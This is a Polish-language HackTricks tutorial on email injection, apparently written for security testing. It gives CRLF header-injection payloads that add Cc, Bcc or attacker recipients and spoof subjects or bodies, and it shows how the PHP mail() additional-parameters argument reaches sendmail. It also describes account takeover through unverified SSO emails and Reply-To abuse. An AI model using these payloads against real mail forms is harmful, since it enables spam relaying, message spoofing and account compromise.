10 KiB
Email Injections
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Wstrzykiwanie w wysłanym e-mailu
Wstrzykiwanie Cc i Bcc po argumencie nadawcy
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Wiadomość zostanie wysłana do kont odbiorcy i odbiorcy1.
Wstrzyknij argument
From:sender@domain.com%0ATo:attacker@domain.com
Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz konta atakującego.
Wstrzyknij argument Temat
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Fałszywy temat zostanie dodany do oryginalnego tematu, a w niektórych przypadkach go zastąpi. Zależy to od zachowania usługi pocztowej.
Zmień treść wiadomości
Wstrzyknij dwa znaki nowej linii, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Wykorzystanie funkcji mail() w PHP
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
5. parametr ($additional_parameters)
Ta sekcja będzie oparta na tym, jak nadużyć ten parametr, zakładając, że atakujący go kontroluje.
Ten parametr zostanie dodany do linii poleceń, którą PHP użyje do wywołania binarnego sendmail. Zostanie jednak oczyszczony za pomocą funkcji escapeshellcmd($additional_parameters)
.
Atakujący może wstrzyknąć dodatkowe parametry dla sendmail w tym przypadku.
Różnice w implementacji /usr/sbin/sendmail
Interfejs sendmail jest dostarczany przez oprogramowanie MTA do obsługi poczty (Sendmail, Postfix, Exim itp.) zainstalowane na systemie. Chociaż podstawowa funkcjonalność (taka jak parametry -t -i -f) pozostaje taka sama z powodów zgodności, inne funkcje i parametry znacznie się różnią w zależności od zainstalowanego MTA.
Oto kilka przykładów różnych stron podręcznika poleceń dla interfejsu sendmail:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
W zależności od pochodzenia binarnego sendmail odkryto różne opcje, aby je nadużyć i ujawniać pliki lub nawet wykonywać dowolne polecenia. Sprawdź jak w https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Wstrzykiwanie w nazwie e-maila
Ignorowane części e-maila
Symbole: +, - i {} w rzadkich przypadkach mogą być używane do tagowania i są ignorowane przez większość serwerów e-mailowych
Komentarze w nawiasach () na początku lub na końcu również będą ignorowane
- Np. john.doe(intigriti)@example.com → john.doe@example.com
Ominięcie białej listy
Cytaty
IP
Możesz również używać adresów IP jako nazw domenowych w nawiasach kwadratowych:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Inne luki
SSO stron trzecich
XSS
Niektóre usługi, takie jak github lub salesforce, pozwalają na stworzenie adresu e-mail z ładunkiem XSS. Jeśli możesz użyć tych dostawców do logowania się do innych usług i te usługi nie oczyszczają poprawnie e-maila, możesz spowodować XSS.
Przejęcie konta
Jeśli usługa SSO pozwala na utworzenie konta bez weryfikacji podanego adresu e-mail (jak salesforce) i następnie możesz użyć tego konta do logowania się do innej usługi, która ufa salesforce, możesz uzyskać dostęp do dowolnego konta.
Należy zauważyć, że salesforce wskazuje, czy podany e-mail był weryfikowany, ale aplikacja powinna uwzględnić te informacje.
Odpowiedz-na
Możesz wysłać e-mail używając From: company.com i Replay-To: attacker.com, a jeśli jakakolwiek automatyczna odpowiedź zostanie wysłana, ponieważ e-mail został wysłany z wewnętrznego adresu, atakujący może być w stanie otrzymać tę odpowiedź.
Wskaźnik twardych odbić
Niektóre usługi, takie jak AWS, implementują próg znany jako wskaźnik twardych odbić, zazwyczaj ustawiony na 10%. Jest to krytyczna metryka, szczególnie dla usług dostarczania e-maili. Gdy ten wskaźnik zostanie przekroczony, usługa, taka jak usługa e-mailowa AWS, może zostać zawieszona lub zablokowana.
Twarde odbicie odnosi się do e-maila, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wystąpić z różnych powodów, takich jak e-mail wysłany na nieistniejący adres, domenę, która nie jest rzeczywista, lub odmowa serwera odbiorcy przyjęcia e-maili.
W kontekście AWS, jeśli wyślesz 1000 e-maili, a 100 z nich skutkuje twardymi odbiciami (z powodu takich powodów jak nieprawidłowe adresy lub domeny), oznacza to wskaźnik twardych odbić na poziomie 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).
Ważne jest, aby utrzymać niski wskaźnik twardych odbić, aby zapewnić nieprzerwaną usługę e-mailową i utrzymać reputację nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail w twoich listach mailingowych może znacznie pomóc w osiągnięciu tego celu.
Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odbić i skarg AWS SES Bounce Handling.
Odnośniki
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}